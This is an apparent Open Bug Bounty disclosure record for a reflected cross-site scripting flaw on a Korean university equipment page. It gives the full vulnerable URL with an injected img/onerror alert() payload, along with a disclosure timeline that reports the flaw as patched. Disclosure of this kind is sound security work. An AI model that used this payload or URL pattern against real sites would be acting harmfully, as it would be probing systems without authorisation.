linc.hanbat.ac.kr XSS vulnerability

2017-08-2402:04:00

keritzy

www.openbugbounty.org

JSON

Vulnerable URL:

http://linc.hanbat.ac.kr/U_equipment/view.php?vSeq=45&start;=&page;=1&s;_que=&mode;=&field;=&gubun;=&eq;_name_kr=&eq;_name_en=&eq;_keyword_kr=&eq;_keyword_en=&Group1;&Group2;=&Group3;=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert(%22openbugbounty%22)%3E

Details:

Description	Value
Patched:	Yes, at
Vulnerability type:	XSS
Vulnerability status:	Publicly disclosed
Alexa Rank	Unknown / Not calculated
VIP website status:	No

Coordinated Disclosure Timeline:

Description	Value
Vulnerability submitted via Open Bug Bounty	24 August, 2017 02:04 GMT
Generic security notifications sent to website owner	24 August, 2017 06:49 GMT
Vulnerability details disclosed by researcher	30 September, 2017 18:27 GMT
Vulnerability patched by the website owner	1 October, 2017 06:44 GMT

JSON